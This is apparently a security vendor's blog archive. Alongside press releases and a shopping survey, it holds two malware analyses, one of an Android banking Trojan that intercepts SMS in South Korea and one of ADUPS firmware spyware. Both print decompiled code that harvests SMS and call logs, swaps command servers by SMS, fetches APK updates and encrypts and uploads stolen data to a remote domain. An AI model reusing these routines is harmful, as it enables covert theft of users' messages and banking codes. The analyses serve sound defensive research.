Senior Avast Sales Leader Joins Trustlook as VP of Global Sales and Business Development

Everyone here at Trustlook is thrilled to welcome Fangyu Ding to the team. Fangyu brings a lot of security experience to our company. Below is the official press release that went out today.

img_8370-e14888263601411.jpg

Trustlook, the company that offers SECUREai, a suite of embeddable security engines that identify advanced malware using proprietary AI technology, today announced that Fangyu Ding has joined the company as Senior Vice President of Global Sales and Business Development, reporting to Allan Zhang, Co-Founder and CEO of Trustlook. Ding brings extensive management experience and a global perspective to Trustlook’s executive team during a period of rapid growth and expansion. His responsibilities include global sales and oversight of Trustlook’s business development operations.

“Fangyu is a proven leader and industry veteran who will help us scale, and play a key role in executing on our growth strategy as we continue our evolution to a multi-product cybersecurity solution,” said Allan Zhang, Co-Founder and CEO of Trustlook. “His wealth of experience with global executives and security teams has given him a clear understanding of precisely what our marketplace needs and how best to deliver it. I’m delighted to be working with him as Trustlook enters its next stage of expansion.”

Ding brings to Trustlook 20 years of leadership experience in the security sector, including mobile devices, network appliances, and the Internet of Things. He was most recently Vice President of Business Development for AVG, the multi-billion-dollar cybersecurity company that was acquired by Avast in 2016. Ding has long been a proponent of dynamic behavioral detection technology in the cybersecurity industry in his work with Sana Security, an early pioneer of AI for PC malware, which was later acquired by AVG. He has a proven ability to drive organizations through various stages of development to become truly global companies.

“With its revolutionary SECUREai security engine, Trustlook has a significant opportunity to help organizations across the world access the latest advancements in cybersecurity,” said Fangyu Ding, Senior Vice President of Global Sales and Business Development at Trustlook. “Trustlook has industry-leading technology and strong partnerships with worldwide tech leaders such as Huawei, Qualcomm, and Tecno. This puts us in a strong position in the $200 billion cybersecurity market. I look forward to capitalizing fully on this opportunity.”

Ding has an MBA from the Haas School of Business at the University of California, Berkeley. His role will be based out of the company’s headquarters in San Jose, California, but he will also spend significant time supporting Trustlook’s China office, as the company continues to solidify its position as the market leader in China.

Trustlook Demonstrates Enhanced Device Security with Advanced Artificial Intelligence

Trustlook is demonstrating the integration of Trustlook’s SECUREai engine with the Qualcomm HavenTM Security Platform on the Qualcomm® Snapdragon™ 835 mobile platform during Mobile World Congress 2017. Using power-efficient machine learning-based behavioral analysis, the solution is designed to support enhanced device security through real-time detection and classification of zero-day malware and privacy violations.

The Qualcomm Haven Security Platform, announced at CES 2017, supports advanced hardware-based security features such as fingerprint and iris authentication, device attestation, and real-time device behavior monitoring. Trustlook’s SECUREai is a suite of embeddable security engines that identify advanced malware, detect device behavior anomalies, and classify threats using proprietary AI technology. SECUREai supports multiple platforms including Android, security gateways, IoT devices, and currently powers products of leading mobile device makers such as Huawei and Tecno Mobile, and numerous Android security apps.

“Artificial intelligence is a game changer for mobile security,” said Allan Zhang, CEO and co-founder of Trustlook. “It is nearly impossible for human researchers today to keep up with the rapid changing threat landscape. Machine learning is the great equalizer to help the good guys stay ahead and take control. We are very excited to work with Qualcomm Technologies on this effort.”

“Working together, Trustlook and Qualcomm Technologies are demonstrating how a leading anti-virus engine can combine with platform-level machine learning,” said Sy Choudhury, senior director of product management, Qualcomm Technologies, Inc. “By utilizing the behavioral capabilities of the Qualcomm Haven Security Platform, Trustlook’s SECUREai engine delivers real-time and offline detection of zero-day threats. These can be reported back to home base, and be used to protect millions of other devices which are possibly under threat.”

The Trustlook solution on Qualcomm Haven Security Platform is available to handset OEMs on the Snapdragon 835 mobile platform, and is expected to be supported by additional Snapdragon SoCs later this year.

Trojan Intercepts SMS Messages To Attack Banks In South Korea

Banks in South Korea recently started to offer customers a text messaging option to access accounts and authenticate transactions. It was reported that a major South Korea bank, KEB Hana Bank, was the first to launch the text banking service in the country on Nov 21, 2016. Unfortunately, cyber thieves have picked up on this, and are trying to get their hands on these text messages.

Trustlook labs discovered a new banking Trojan that targets these banks in South Korea that offer the text messaging service. The Trojan disguises itself as a Google Play app and the user is requested to grant device administrator rights for it. This prevents the malware for being removed.

The app starts as a background service and is invisible to the user. The package can be identified as having the following characteristics:

  • MD5: b4d419cd7dc4f7bd233fa87f89f73f22
  • SHA256: 1fa03f9fa2c6744b672433c06a1a3142997ba4f261b68eddbc03545caff06a82
  • Size: 100289 bytes
  • App name: Google_Play
  • Package name: com.android.systemsetting


The package icon is:

image00

Upon execution, the app persuades the user to grant device administrator access in order to maintain its presence on the system:

image02

The app disguises itself as “AhnLab V3 Mobile PLUS” which is a popular mobile security app in South Korea.

image01


In the meantime, it attempts to remove the legitimate AhnLab security apps:

 public void onClick(View arg2) {

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobileplus");

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobilesecurity.soda");


The malware attempts to collects the user’s device information and send it to the server:

image04

It then goes through the system to look for the following banking apps:

  • nh.smart
  • com.shinhan.sbanking
  • com.hanabank.ebk.channel.android.hananbank
  • com.webcash.wooribank
  • com.kbstar.kbbank

The following code snippets are used to retrieve information on any installed banking apps:

public class FBDBSender

   private void uploadInstallApp() {

       try {

[...]

           boolean v1 = CoreService.checkAPP(((Context)this), "nh.smart");

           boolean v2 = CoreService.checkAPP(((Context)this), "com.shinhan.sbanking");

           boolean v3 = CoreService.checkAPP(((Context)this), "com.hanabank.ebk.channel.android.hananbank");

           boolean v4 = CoreService.checkAPP(((Context)this), "com.webcash.wooribank");

           boolean v5 = CoreService.checkAPP(((Context)this), "com.kbstar.kbbank");

           String v6 = this.getVersion("nh.smart");

           String v7 = this.getVersion("com.shinhan.sbanking");

           String v8 = this.getVersion("com.hanabank.ebk.channel.android.hananbank");

           String v9 = this.getVersion("com.webcash.wooribank");

           String v10 = this.getVersion("com.kbstar.kbbank");

[...]

           UploadInstallAppTask v12 = new UploadInstallAppTask(this);

           String[] v13 = new String[10];

           String v11 = v1 ? "1" : "0";

           v13[0] = v11;

           v11 = v2 ? "1" : "0";

           v13[1] = v11;

           int v14 = 2;

           v11 = v3 ? "1" : "0";

           v13[v14] = v11;

           v14 = 3;

           v11 = v4 ? "1" : "0";

           v13[v14] = v11;

           v14 = 4;

           v11 = v5 ? "1" : "0";

           v13[v14] = v11;

           v13[5] = v6;

           v13[6] = v7;

           v13[7] = v8;

           v13[8] = v9;

           v13[9] = v10;

           v12.execute(((Object[])v13));

              [...]


The malware then sends out the captured information:

image03


The malware intercepts all the SMS messages between the device and the banks and sends it to the attacker:

public class SMSReceiver extends BroadcastReceiver {

   static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

   private final String TAG;



   public SMSReceiver() {

       super();

       this.TAG = "sms Receiver";

   }



   public void onReceive(Context arg23, Intent arg24) {

       if("android.provider.Telephony.SMS_RECEIVED".equals(arg24.getAction())) {

           Bundle v3 = arg24.getExtras();

           if(v3 != null) {

               SmsInfoDao v13 = new SmsInfoDao(arg23);

               Object v10 = v3.get("pdus");

               SmsMessage[] v8 = new SmsMessage[v10.length];

               int v4;

               for(v4 = 0; v4 < v10.length; ++v4) {

                   v8[v4] = SmsMessage.createFromPdu(v10[v4]);

               }



               SmsMessage[] v2 = v8;

               int v6 = v2.length;

               int v5;

               for(v5 = 0; v5 < v6; ++v5) {

                   SmsMessage v7 = v2[v5];

                   new Date().toString();

                   String v15 = v7.getDisplayOriginatingAddress();

                   String v16 = v7.getDisplayMessageBody();

                   if(v16.startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                       String v9 = v16.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                       if(v9.startsWith("http")) {

                           Log.d("sms Receiver", "new address:" + v9);

                           SharedPreferences v11 = PreferenceManager.getDefaultSharedPreferences(arg23);

                           App.URL_BASE = v9;

                           v11.edit().putString("serverIp", v9).commit();

                       }

                   }



                   if(App.curInterceptState != 0 && System.currentTimeMillis() - App.curInterceptStateStartTime < 9223372036854775807L) {

                       SmsInfo v12 = new SmsInfo();

                       v12._id = (((int)Math.round(Math.random() * 9999999 + 1))) * -1;

                       v12.thread_id = "";

                       v12.service_center = "";

                       v12.name = "";

                       v12.phoneNumber = v15;

                       v12.smsbody = v16;

                       v12.date = new Date().getTime();

                       v12.type = 0;

                       v13.startWritableDatabase(true);

                       v13.insert(v12);

                       v13.setTransactionSuccessful();

                       v13.closeDatabase(true);

                       this.abortBroadcast();

                   }

               [...]

   public class SMSContent extends ContentObserver {

       public SMSContent(CoreService arg1, Handler arg2) {

           CoreService.this = arg1;

           super(arg2);

       }



       public void onChange(boolean arg23) {

           Log.i("SMS Core Service", "smsÓб仯");

           super.onChange(arg23);

           Cursor v8 = App.getInstance().getContentResolver().query(Uri.parse("content://sms/inbox"), null, " read = ?", new String[]{"0"}, "date asc");

           if(v8 != null && (v8.moveToFirst())) {

               int v10 = v8.getColumnIndex("_id");

               int v19 = v8.getColumnIndex("thread_id");

               int v16 = v8.getColumnIndex("service_center");

               int v12 = v8.getColumnIndex("person");

               int v14 = v8.getColumnIndex("address");

               int v18 = v8.getColumnIndex("body");

               int v9 = v8.getColumnIndex("date");

               int v20 = v8.getColumnIndex("type");

               do {

                   SmsInfo v17 = new SmsInfo();

                   v17._id = v8.getInt(v10);

                   v17.thread_id = v8.getString(v19);

                   v17.service_center = v8.getString(v16);

                   v17.name = v8.getString(v12);

                   v17.phoneNumber = v8.getString(v14);

                   v17.smsbody = v8.getString(v18);

                   v17.date = v8.getLong(v9);

                   v17.type = v8.getInt(v20);

                   if(!CommUtil.isEmpty(v17.smsbody)) {

                       Toast.makeText(CoreService.this, v17.smsbody + "", 0).show();

                       Log.i("SMS Core Service", v17.smsbody);

                       if(v17.smsbody.trim().startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                           String v13 = v17.smsbody.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                           Log.i("SMS Core Service", v13);

                           Toast.makeText(CoreService.this, ((CharSequence)v13), 0).show();

                           if(v13.startsWith("http")) {

                               Log.d("SMS Core Service", "new server address:" + v13);

                               SharedPreferences v15 = PreferenceManager.getDefaultSharedPreferences(CoreService.this);

                               App.URL_BASE = v13;

                               v15.edit().putString("serverIp", v13).commit();

                               CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                               CoreService.this.getSystemService("notification").cancelAll();

                           }

                       }

                       else if(v17.smsbody.trim().startsWith(Constant.LOCK_SCREEN_ON)) {

                           Log.i("SMS Core Service", v17.smsbody.trim() + " is not startsWith " + Constant.NEW_SERVER_MSG_PREFIX);

                       }



                       Log.d("SMS Core Service", "insert sms to db");

                       CoreService.this.sid.startWritableDatabase(true);

                       CoreService.this.sid.insert(v17);

                       CoreService.this.sid.setTransactionSuccessful();

                       CoreService.this.sid.closeDatabase(true);

                       if(App.curInterceptState == 0) {

                           continue;

                       }



                       if(System.currentTimeMillis() - App.curInterceptStateStartTime >= 9223372036854775807L) {

                           continue;

                       }



                       CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                       CoreService.this.getSystemService("notification").cancelAll();

                   }

               }

               while(v8.moveToNext());



               CoreService.this.uploadDbSms();

           }



           v8.close();

       }


The app is capable of updating itself:

     protected String[] doInBackground(AppUpdateModel[] arg11) {

           String[] v6;

           try {

               AppUpdateModel v1 = arg11[0];

               String v2 = App.URL_BASE + v1.getUpdateUrl();

               Log.i("SMS Core Service", v2);

               long v4 = System.currentTimeMillis();

               CoreService.this.lastFileName = v4 + ".apk";

               v6 = new String[]{NetUtils.downApk(v2, v4 + ".apk", CoreService.this), v1.getAppPackageName()};

           }


Summary

For anyone using the text banking service that is being offered by some Korean banks, we suggest you install the Trustlook Mobile Security app to detect and block this attack, as well as to prevent further malicious activities.

Good news if you got a Barnes & Noble Nook Tablet 7 for the Holidays

nook-7

Over the past couple of months, Trustlook Mobile Security has published a lot of research (here and here) about ADUPS spyware. It is no surprise we have received many inquiries about the latest ADUPS security vulnerability involving the Barnes & Noble Nook 7. You may or may not know that the $50 Barnes & Noble device was shipping with Adups backdoor-planting firmware preinstalled.

We are happy to announce that Barnes and Noble has got a fix. The company has also issued the following statement regarding the issue.

“NOOK Tablet 7” went on sale on November 26. By that time, the device automatically updated to a newer version of ADUPS (5.5), which has been certified as complying with Google’s security requirements, when first connected to Wi-Fi. ADUPS has confirmed to Barnes & Noble that it never collected any personally identifiable information or location data from NOOK Tablet 7” devices, nor will it do so in the future.

Finally, we are working on a software update to remove ADUPS completely from the NOOK Tablet 7”. That update will be made available to download within the next few weeks, but in the meantime customers can rest assured that the device is safe to use.”

Whew! To think that you could have been sending your most private information to servers in China while you were reading your favorite novel was quite concerning.

 

Digging into ADUPS FOTA data collection details

People like to think their brand new phone is clean and free of malware, but that is not always the case. Some smartphone manufacturers choose to use a third party FOTA (Firmware Over-The-Air) service instead of Google’s, which can pose serious security risks. This is what happened in the case of Shanghai based ADUPS Technology Co.

ADUPS provides FOTA update services for mobile devices. Trustlook Labs researched multiple mobile devices and discovered several apps produced by ADUPS have serious security flaws. We researched a sample with package name “com.adups.fota”, app name “无线升级”, version 5.1.0.0.1.

The app comes preinstalled on the device. It collects many types of user information. In addition to specifications such as IMEI, IMSI, MAC address, version number, and operator, this app attempts to collect user’s SMS text messages and call logs. More troubling is that all of these procedures are done without user’s consent and are processed in the background.

Diving into the code…

The following code snippets show the app start to collect call logs and SMS messages:

    public static void getCallLogList(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date>" + arg8 + " and " + "date" + "<" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/call"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_25;
            }

            goto label_87;
        }
        catch(Exception v0) {
            goto label_99;
        }

        try {
        label_25:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_2 = new TellMessageBean();
                v0_2.messages = "";
                v0_2.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("number"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = v1.getString(v1.getColumnIndex("duration"));
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    if("1".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    v6.append(v3);
                    v6.append(":");
                    v6.append(v4);
                    v6.append(":");
                    v6.append(v5);
                    v0_2.tells = v6.toString();
                    new DataBaseOperate(arg7).insertTellMessage(v0_2);
                    Trace.d(v0_2.toString());
                    if(v1.moveToNext()) {
                        continue;
                    }

                    break;
                }
                while(true);
            }
[...]

    public static void getSmsInPhone(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date > " + arg8 + " and " + "date <" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/msg"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_23;
            }

            goto label_83;
        }
        catch(SQLiteException v0) {
            goto label_95;
        }

        try {
        label_23:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_3 = new TellMessageBean();
                v0_3.tells = "";
                v0_3.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("address"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = "0";
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
[...]

    public void getMessageData() {
        try {
            b.a(this.ctx);
            String v0_1 = h.b(this.ctx, "push");
            g.a(this.ctx, "message data:: " + v0_1);
            if(!TextUtils.isEmpty(((CharSequence)v0_1)) && !v0_1.startsWith("0")) {
                this.message_process(v0_1);
            }

            if(h.a(this.ctx)) {
                this.installReport();
                this.reportFailDownloadMesssage(31);
            }

            this.delOutMesssage();
            this.reInstallRemind();
        }
        catch(Exception v0) {
            z.a(((Throwable)v0));
        }

        a.c(this.ctx);
    }

 

The getTellMessageData() method shown below calls the above methods.

 

public void getTellMessageData(Context arg3) {
        try {
            arg3.getSharedPreferences(Const.CHECK_SETTING_NAME, 0);
            long v0_1 = this.getSharedPreferTellSchedule(arg3);
            DcTellMessage.getSmsInPhone(arg3, v0_1);
            DcTellMessage.getCallLogList(arg3, v0_1);
            this.updateSharedPreferTellMessageSchedule(arg3);
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The collectDcData() method shown below calls getTellMessageData() and some other methods to collect other information and insert the data into an SQL database.

 

private void collectDcData() {
        try {
            File v0_1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip);
            File v1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource);
            if(!v0_1.exists()) {
                v0_1.mkdir();
            }

            if(v1.exists()) {
                goto label_26;
            }

            v1.mkdir();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }

        try {
        label_26:
            new DcTellMessage().getTellMessageData(this.ctx);
            new DcMobileStatus().getDcMoblicStatus(this.ctx);
            new DcMessage().getMessageData(this.ctx);
            new DcApp(this.ctx).getDcApp();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The data are then written to JSON format and zipped:

 

private boolean convertAndZipFile() {
        boolean v0_2;
        try {
            Gson v0_1 = new Gson();
            DataBaseOperate v1 = new DataBaseOperate(this.ctx);
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'M', 'o', 'b', 'i', 'l', 'e', 'S', 't', 'a',
                    't', 'u', 's', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMobileStatusList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', '.', 'j', 's', 'o', 'n'}),
                    v0_1.toJson(v1.getAppList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'T', 'e', 'l', 'l', 'M', 'e', 's', 's', 'a',
                    'g', 'e', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getTellMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', 'O', 'p', '.', 'j', 's', 'o',
                    'n'}), v0_1.toJson(v1.getAppOpList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'a', 'p', 'p', '_', 'f', 'l', 'o', 'w',
                    '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getAppFlowList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'm', 's', 'g', '_', 'k', 'e', 'y', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'R', 'o', 'o', 't', 'I', 'n', 'f', 'o', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(new DcBin().getBinFileList()));
            FileUtil.ZipFolder(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip,
                    Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource + AnalyticsReport
                    .ZIP_FILENAME);
            v0_2 = true;
        }

 

The 7 JSON files contain various user information:

DcMobileStatus.json
Dcapp.json
DcTellMessage.json
DcappOp.json
dc_app_flow.json
dc_msg_key.json
DcRootInfo.json

The collected call logs and SMS messages are stored in “DcTellMessage.json” file. All data is then encrypted by using DES and sent out:

 

public void upload() {
        int v3 = Const.domains.length;
        if(v3 > 0 && !TextUtils.isEmpty(this.pid) && (HttpUtil.isNetWorkAvailable(this.ctx)) && (this
                .convertAndZipFile())) {
            int v1 = new Random().nextInt(v3);
            int v0 = 0;
            while(true) {
                if(v0 < v3) {
                    int v2 = v1 + 1;
                    if(this.upload(Const.domains[v1 % v3] + this.pid + "/" + Const.UPLOAD_LOG_RQ)) {
                        this.saveLastTime("dupt", System.currentTimeMillis());
                    }
                    else {
                        SystemClock.sleep(2000);
                        ++v0;
                        v1 = v2;
                        continue;
                    }
                }
                else {
                    break;
                }

                return;
            }

            this.saveLastTime("dupt", System.currentTimeMillis());
        }
    }

    private boolean upload(String arg9) {
        boolean v0 = false;
        try {
            MobileInfo v1_1 = MobileInfo.getInstance(this.ctx);
            File v2 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource
                     + AnalyticsReport.ZIP_FILENAME);
            if(!v2.exists()) {
                return v0;
            }

            MediaType v3 = MediaType.parse("text/plain");
            StringBuilder v4 = new StringBuilder();
            v4.append(AnalyticsReport.PARAM_MID).append('=').append(Mid.getMid(this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_MODULE).append('=').append(String.valueOf(2)).append('&');
            v4.append(AnalyticsReport.PARAM_APPV).append('=').append("V5.0.0").append('&');
            v4.append(AnalyticsReport.PARAM_MODEL).append('=').append(v1_1.getMobileModel()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_PROJECT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'U', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_CHANNEL).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'C', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_PRODUCT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'P', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_IMEI).append('=').append(v1_1.getIMEI()).append('&');
            v4.append(AnalyticsReport.PARAM_IMSI).append('=').append(v1_1.getIMSI()).append('&');
            v4.append(AnalyticsReport.PARAM_WIFIMAC).append('=').append(v1_1.getMacAddress()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_OPERATOR).append('=').append(v1_1.getOper()).append('&');
            v4.append(AnalyticsReport.PARAM_SN).append('=').append(v1_1.getSIMSN()).append('&');
            v4.append(AnalyticsReport.PARAM_SIM).append('=').append(v1_1.getSIMNum()).append('&');
            v4.append(AnalyticsReport.PARAM_OEM).append('=').append(v1_1.getOem()).append('&');
            v4.append(AnalyticsReport.PARAM_BRAND).append('=').append(v1_1.getBrand()).append('&');
            v4.append(AnalyticsReport.PARAM_APN).append('=').append(MobileInfo.mapNetworkTypeToType(
                    this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_BUILDNUMBER).append('=').append(v1_1.getBuildnumber()).append(
                    '&');
            MultipartBuilder v1_2 = new MultipartBuilder();
            v1_2.addFormDataPart(AnalyticsReport.PARAM_ENCRYPTED, DES.encryptDES(v4.toString()));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_PRODUCT, ApkUtil.getAppMetaData(this.ctx, String
                    .valueOf(new char[]{'P', 'I', 'D'})));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_UPLOAD, AnalyticsReport.PARAM_UPLOAD, RequestBody
                    .create(v3, v2));
            Response v1_3 = OkHttpUtil.execute(new Builder().url(arg9).post(v1_2.build()).build());
            if(v1_3 == null) {
                return v0;
            }

 

The DES.encryptDES() method that is used in the above code is shown below:

 

public class DES {
    private static String DEF_KEY;
    private static byte[] iv;

    static {
        DES.iv = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
        DES.DEF_KEY = String.valueOf(new char[]{'N', 'o', 't', 'C', 'r', 'a', 'c', 'k'});
    }

    public DES() {
        super();
    }
[...]
   public static String encryptDES(String arg1) {
        return DES.encryptDES(arg1, DES.DEF_KEY);
    }

    public static String encryptDES(String arg4, String arg5) {
        String v0_2;
        try {
            IvParameterSpec v0_1 = new IvParameterSpec(DES.iv);
            SecretKeySpec v1 = new SecretKeySpec(arg5.getBytes(), "DES");
            Cipher v2 = Cipher.getInstance("DES/CBC/PKCS5Padding");
            v2.init(1, ((Key)v1), ((AlgorithmParameterSpec)v0_1));
            v0_2 = Base64.encode(v2.doFinal(arg4.getBytes()));
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
            v0_2 = "";
        }

        return v0_2;
    }

 

The DES encryption key is “NotCrack” and the IV is 12345678.
The data is sent to the following domain “https://bigdata.adups.com/”

 

public static String[] domains = { String.valueOf(new char[] { 104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 103, 100, 97, 116, 97, 46, 97, 100, 117, 112, 115, 46, 99, 111, 109, 47 }) };

 

The data is uploaded every 72 hours:

 

        Const.ANALYTICS_SCHEDULE_DEF = 259200000;
[...]
    private boolean isOverDCUploadTime() {
        boolean v0 = false;
        long v2 = System.currentTimeMillis();
        long v4 = this.prefs.getLong("dupt", -1);
        if(v4 < 0) {
            this.saveLastTime("dupt", v2);
        }
        else if(v2 - v4 >= Const.ANALYTICS_SCHEDULE_DEF) {
            v0 = true;
        }

        return v0;
    }
[...]
    private void checkDc() {
        if(this.isOverDCTime()) {
            this.collectDcData();
        }

        if(this.isOverDCUploadTime()) {
            this.upload();
        }
    }

 

Summary
The Trustlook Mobile Security app detects this app as “Android.Trojan.Adups”. Trustlook’s anti-threat platform can effectively alert and remove the threat. Download the Trustlook app for free from the Google Play store.

Over 70 Percent Will Shop on Mobile This Holiday Season

Shopping on a mobile device is expected to be stronger than ever during the 2016 Holiday Season. Smartphone proliferation, faster network speeds, and slick shopping apps have combined to provide a far better experience for mobile shoppers. But as the spending is soaring, so too are the mobile security risks.

Trustlook, a next-generation mobile security company, has shared findings from a recent survey of Android users. The goal of the survey was to dig deeper into the expected mobile shopping behaviors for the 2016 Holiday season. Some key findings include:

1. 43% of users surveyed will spend more than $250 on purchases made through a mobile device
2. 40% of mobile shoppers prefer shopping on their mobile devices, versus 18% who prefer shopping in a store
3. Even though 70.35% of users surveyed plan on making a purchase on a mobile device, 64% have not installed a mobile security app
4. Amazon, eBay, and Walmart are the most popular mobile shopping apps

For an infographic on Trustlook’s survey findings, please go here.